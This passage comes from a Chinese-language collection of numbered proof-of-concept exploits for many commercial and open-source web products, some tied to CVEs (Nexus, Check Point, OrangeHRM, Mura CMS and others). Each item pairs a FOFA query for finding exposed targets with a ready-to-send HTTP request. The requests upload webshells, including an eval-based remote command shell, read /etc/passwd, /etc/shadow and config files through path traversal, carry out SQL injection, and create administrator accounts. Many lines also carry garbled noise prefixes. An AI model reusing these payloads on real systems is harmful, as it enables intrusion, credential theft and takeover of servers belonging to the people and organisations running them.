: k* V2 }" l8 d; @7 h+ `6 d/ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
( k' m5 B: \9 l! G' `+ D. W. }( B$ k: mContent-Length: 1080
) ]' M. L5 d' ^4 JAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
0 N3 @2 q" S+ e$ L$ t
2 I5 z9 k, I8 B/ a  [4 C0 G1 S, R<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
2 A; I6 N  G9 b" H0 x2 p<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
; v$ P$ X% Y3 s" O1 w8 ~; T<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
; o3 o( A/ n  J/ m4 [7 c$ _0 B</jobUpload>
</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
9 b; k$ L' ]* e5 t8 J7 N1 q! I  k8 V
% g! H' Z, T' u$ Y2 O* ~, C
% q# a/ V+ r) b. Q, y160. Sonatype Nexus Repository 3目录遍历与文件读取
; c& S" t1 q, PCVE-2024-4956
FOFA：title="Nexus Repository Manager"
$ i2 B  S. L  f% QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
- m$ \& X6 {. PConnection: close
Accept: */*
5 g& a# ?/ C, U/ K2 C/ nAccept-Language: en
Accept-Encoding: gzip
0 p, B" q. M+ x6 v6 Z# K- w2 B

" S3 L: |6 X  s0 m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
! D6 G2 A( @" QFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
8 b/ i; F0 }: K( j: R% |POST /Webservice.asmx HTTP/1.1
' a8 ~: P' P' [4 t+ k6 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
+ w  }2 u3 G% c$ d+ N0 tConnection: close
! A. r  M  X  ]; c  `Content-Length: 445
" o8 H6 P) v/ KContent-Type: text/xml
Accept-Encoding: gzip
* v6 b! l4 b4 h% G% Y
9 k& l2 `- S' Q, n/ |<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
! F' o1 v' D* w' w' l<ip>1</ip>
7 u% I" F- z5 Q0 m4 b# _<fileName>../../../../dizxdell.aspx</fileName>
# x) f8 _& B/ U+ C/ F7 F<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
# O7 ~! ?+ m3 K8 H" w" D* k6 N<tag>3</tag>
4 Z% T: ?+ @1 i0 T, R. w</UploadResume>
</soap:Body>
</soap:Envelope>
- y' v) ], Y+ \
, f! \) T* e) J: [4 j3 D6 v
http://x.x.x.x/dizxdell.aspx

* }% |5 L- v9 |  f) H0 g162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
! \9 {0 Y1 n, \8 UPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
) c! s, g3 \5 V& ~- k- |3 rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
. |1 t; L& C# ^& r' T& x
2 f* Y% H5 A% n------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
( u; L1 {6 `* `------WebKitFormBoundaryeegvclmyurlotuey
# j7 D) I) h; p5 L1 d1 R: }Content-Disposition: form-data; name="action"
/ W, A# H& ^& _4 ~& Z8 _1 c- I6 `, B
upload
4 W6 l+ U2 H/ [% B3 s" q' y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
. N- w% H2 J  `5 J. ]6 }
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
7 ?. o  M/ t+ R  R, S2 `' FContent-Disposition: form-data; name="remotePath"

/opt/resources
- A- k) a3 j, D! y. r------WebKitFormBoundaryeegvclmyurlotuey--
: ~4 w" J1 o* C0 c' b

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
/ `( M- d: s$ W, D: v9 |0 [
! h0 E2 _9 E9 w+ ~$ b* f163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
# ?1 v9 [  h7 j" I" LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
. v0 Y: A1 @9 K5 d" V) [1 [, k2 @! D% YConnection: close
+ R0 s2 N2 O, oContent-Length: 293
# ^* A% r8 U& Q0 W5 Z/ W1 u6 YAccept: */*
+ Y$ s/ b: \0 |& B9 G3 ]  a' qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
& D2 Z5 g/ z! v0 m
4 Y) `6 k5 l1 o2 I, c( c------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

6 B; O+ s1 a' b4 g; q1.php
& \  M# B7 z" F+ }------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
0 ^2 p2 b# ^% d! y1 @8 R1 qContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
" M9 j! k7 {8 u7 i2 W

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
% [: S+ V# ?8 y- z* VPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
$ c/ t* u# @: ]* ]" iHost: x.x.x.x
! @, @& U6 ]1 V. T" b0 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
5 U4 n: B, L. [- P% T+ gContent-Length: 288
  b6 Q+ [* ~1 o' lAccept: application/json, text/javascript, */*; q=0.01
( R/ n: J( D0 w  MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
$ L- }. A0 l/ _, z) f) TConnection: close
" b' i! H# Z$ C  \- i: fContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
% x# ^8 @$ M: C8 hX-Requested-With: XMLHttpRequest
+ R2 _: C6 T  c5 ~! BAccept-Encoding: gzip
3 Y4 G$ B2 M. S5 Q0 @) W) [' }
: |5 c1 E4 }/ q6 V1 b------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
3 H3 L& T3 m& o2 f0 u# x7 IContent-Type: image/jpeg
( x. g4 I# X4 g7 s5 k
$ G/ o+ g9 `$ R) F<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
3 v0 X, P# s$ ?- V------dqdaieopnozbkapjacdbdthlvtlyl--

9 V% X- K6 k1 ?) m& N; h
: Y& k3 j! `7 l! p; thttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

0 d. ^, X5 e! O/ Y$ Z165. OrangeHRM 3.3.3 SQL 注入
1 v1 m  i/ f0 ]) \# ~CVE-2024-36428
1 k0 f3 N6 V0 i5 x) RFOFA: app="OrangeHRM-产品"
& }5 ]- I& p4 F5 aURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
0 [( r! A$ p- _, ^1 jPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
  N) |+ C( ?. uHost:
( w- ^, o  F- `8 U2 gPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
! u/ Y9 U6 i0 ?$ [8 w; a3 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
8 C  c, l  R. q) N& YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 F% w, e1 y9 l% V8 qAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
' O+ \% F" r. u& fCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
  Y0 N, H) d" X! g2 P: Q$ j, Y$ RContent-Type: application/x-www-form-urlencoded
( T$ C4 i$ f1 m4 \Content-Length: 89
7 @' \* ~5 }+ G2 @8 k7 }8 _+ K6 Y) Q
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
+ L9 i0 t0 A* ~& [FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
: T' a9 L/ K0 K$ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) i) j+ p0 B1 j$ U3 ^( @' @Accept-Encoding: gzip, deflate
7 t# R' G; }! Q) l$ z: GAccept: */*
Connection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
) z- |3 E- B* w7 H! x) u1 R8 rFOFA：app="HJSOFT-HCM"
# d) L& q& S2 iGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
8 `! {# Z& M/ [! ^# bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. I; c  v& c6 w- K3 VConnection: close


% B8 f# m0 K3 j
8 B4 K9 g6 q3 o/ [169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
& f$ `& L% x1 g5 s( u: Q$ IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
+ Z& b: H% v8 Y0 v& w, lAccept-Encoding: gzip, deflate
Connection: close
1 b0 T6 Q% G# M" w, o. v
9 n0 C( n1 i& x  ^4 r* p

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
, A, d4 W/ [' @FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
% d" j% U: r- X+ q% q2 HUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' |1 B" B6 ^' n$ ]9 l9 `+ C3 A; aContent-Type: application/x-www-form-urlencoded
. a7 U5 [4 ?, d, R( p* D. G
; Z: }1 ^- I: _6 Pfilename=../webapps/ROOT/WEB-INF/web.xml
) h6 F/ j, D8 T( T  s1 B
, A/ H& g/ z( T  j1 f9 L) M" ^
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- u- O1 }; G. e# ?Accept-Encoding: gzip, deflate
8 y; |* ]8 v) S5 V0 Q$ qConnection: close
9 K9 m: |- U3 `. u* t
" V, W: D" P# D  W3 T" o
% [9 h" V5 j, Z. q& Y
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
$ h7 t: Q& M$ A7 q9 @* rGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
6 j1 t7 t8 E/ Y9 M7 e6 G" h8 rConnection: keep-alive
8 I- F& ^, b- T% ^+ ^* K
, u2 V: D! H5 B& ]* Q- @0 Q3 E

. R1 C7 ]! Y* H173. Check Point 安全网关任意文件读取
. b4 w8 e! G, ZCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
; T0 i8 I3 v. P+ sPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
$ \) N0 r2 ~! A: r  d9 r
aCSHELL/../../../../../../../etc/shadow



$ [  ^: O$ ]; F( e* t  o' w2 O174. 金和OA C6 FileDownLoad.aspx 任意文件读取
0 l/ H8 N0 f1 B3 G( k' hFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
) m0 K& o% J7 u. @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
" W3 b9 Z' E2 Q4 m2 ^5 A( SAccept-Language: zh-CN,zh;q=0.9
Connection: close

& I- j4 ?! Y; T9 A" x& ~6 s
) m: q0 l) ]  f% i6 `
' R5 @( m+ T9 n8 ^175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
1 Z& W/ u. b( {0 n4 ^% XUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 Y. w: K+ X0 T' y2 c0 w: dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
% J0 X9 F6 q! B- w1 vUpgrade-Insecure-Requests: 1


0 m8 A/ @8 t, M% I0 X3 k: k176. 电信网关配置管理系统 rewrite.php 文件上传
, L+ U: I' M7 b8 mFOFA：body="img/login_bg3.png" && body="系统登录"
' w6 b; q. s% C# S1 b; JPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) t+ K# L& q. g/ p1 [/ V& _1 mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
- X2 h* Z9 a# s* a
------WebKitFormBoundaryOKldnDPT
! l9 u! V# Y/ F0 y1 m; s5 jContent-Disposition: form-data; name="tmp_name"; filename="test.php"
2 f3 O4 Z* t/ Z4 OContent-Type: image/png
0 z. h- ?" e, Z9 }
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
" V3 Z9 }5 x0 H  U$ r/ b0 H% h6 ~; aContent-Disposition: form-data; name="uploadtime"
9 n5 [. T- X8 v% {. D
2 @3 a* j) v0 E0 J$ l, R# Z4 n
------WebKitFormBoundaryOKldnDPT--
! F! _& H" b5 J* q6 s  t
& N2 E( E: F& m) j5 u, `) D4 r

* B2 k3 D7 [. \; q5 M1 n177. H3C路由器敏感信息泄露
2 t' d  f# v' P/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
# l9 S3 G0 O! x4 p6 U7 E; \4 j/userLogin.asp/../actionpolicy_status/../GR8300.cfg
# w0 E& |4 ^4 y- \3 E/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
6 W% |9 x9 A) p! B, t/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
' v. M! {5 n1 s$ E1 z8 U; j/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
6 U$ q- p! \0 b9 f; _  i0 w/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
' l5 ~5 [( j7 I3 I# V: ]0 g% [/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
: x. B0 j' w/ A* G/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
3 Y2 j; S, h; n, g* U/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
! Y1 G5 v" P7 M: e8 H/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
: \7 q, i: Q$ ?2 |) o9 u

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
% q* f: i/ j6 r: v8 mFOFA：header="/selfservice"
6 G7 o; T; F3 K: Z  d# T+ N6 FPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
9 j9 }& C3 x9 ?+ k3 ^Connection: close
1 a4 L2 P: _1 F; U7 DContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
  W  p$ D. z: D& c, c-----------------aqutkea7vvanpqy3rh2l
) w+ b7 T7 j9 q6 W0 i! bContent-Disposition: form-data; name="12234.txt"; filename="12234"
6 E3 k6 h$ j. X6 W9 l! f* y& A5 Y8 FContent-Type: application/octet-stream
Content-Length: 255

5 m" o/ N/ a! t9 `' B) T6 I12234
-----------------aqutkea7vvanpqy3rh2l--

; |4 l! J- X& U" H" Z( _
3 z( f# B: j) L& G5 p: VGET /imc/primepush/%2e%2e/flex/12234.txt


, a6 B* w1 c2 z5 ~179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
4 {* _) H3 e' nHost: {{Hostname}}
1 u2 j( ?, c6 ^" [& B0 Z" FContent-Type: application/x-www-form-urlencoded
, ?& d7 I5 [, f' UUser-Agent: Mozilla/5.0
  d# y: @6 n, S# b
9 Q8 _& h8 {' W" v, s' P( wpath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
; h3 F0 L4 x$ f" q. TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# x0 \  ^& r  d8 Q6 wAccept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
  Z) h/ ^, [0 g: ^6 {7 ~' x. tHost: your-ip
% _' z  J0 q5 @; D# VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ `/ h0 X9 F, q1 r; H# P2 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 }( j/ W% }: r" L+ T9 A" Z+ ?& i! kAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 i) {* `4 J! R& AContent-Type: application/x-www-form-urlencoded
8 E; T% s0 n2 j  Y4 u
7 u. O- F  {3 s4 C- p* G
( `5 Z$ h4 y. {3 X! X# Z' A. Haction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

+ I% v* A* D) A" m
  z. ?/ S$ F: t1 Q  x& h182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
) ~! m" Y* |: z9 k7 ]FOFA："PDCA/js/_publicCom.js"
7 P+ y$ i5 a" M; O5 X9 kPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
! m6 @, z6 m) ]0 P$ Y# {7 V' I; H7 _Host: your-ip
; ]1 j7 [% H, q0 ]# {6 S) }: ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
/ N0 H( H; A! P$ J) KConnection: close
" }1 S6 |5 Q  s' G$ l$ q2 bContent-Type: application/x-www-form-urlencoded
9 w, ]' |- ?( r* N
' H; G. d  E9 G( K
. [+ W9 \7 X$ m- ]# g9 T9 [) eusername=test1234&pwd=test1234&savedays=1
9 {+ U( M" P* l9 J- c
6 o' w% w0 b4 F' G" X9 T7 e8 O, V
0 Q5 C! d4 {& F% _183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
% J. p+ }0 X5 A( J0 a  k$ q: IGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
  W( Y$ Z$ G  j, `Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- S$ f( Q0 x7 {8 b3 h! G. V* eAccept-Encoding: gzip, deflate
Connection: close
4 T; |: w$ Z  o9 N

' a  T4 v# X# x; W4 g: u184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
1 o/ {9 m& X" ^  Y$ cPOST /soap/AddUser HTTP/1.1
Host: your-ip
, v9 F/ J" L1 S8 b+ BAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
3 u: l8 S# l- [$ m( sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
' O8 N) ~1 t( A5 v& x/ k
$ I- D! W* U' b, ?6 x
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

( }( I+ i% j, q5 i' H
  N8 e! Z3 }; d185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
! g. _8 U3 y* l& s1 P3 KFOFA：app="REALOR-天翼应用虚拟化系统"
, Z7 K5 @9 t# W7 vGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
4 t! p" H3 Z( }* k# }Host: host


$ ?$ W2 A- I0 X186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
5 Z) r5 x9 z0 G$ S) C; CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ G3 d/ C% r$ {3 \1 a, y5 ~Accept-Encoding: gzip, deflate
& t/ e5 ^; z3 u4 B2 yConnection: close
Content-Type: application/x-www-form-urlencoded
' W5 P. Z* q& p( Y
5 y( o# p  b1 d6 ]& t: F6 o) Ureq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


; c# j  U- g3 w3 _0 Q187. Mura CMS processAsyncObject SQL注入
& G6 o4 ]  x  k2 {CVE-2024-32640
! n; b6 `8 C# _$ e$ v& LFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
# V. d% b5 |1 l# O" ], y+ I

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
  N5 l( D. k- H. `; x! }7 [0 A

+ `( W( B, U- u& M& N/ C. b4 i188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
" A! q. |5 `5 \+ g& ?FOFA：body="/system/get_rtc_user_defined_info?site_id"
# g: E- `# c4 O" X" `GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
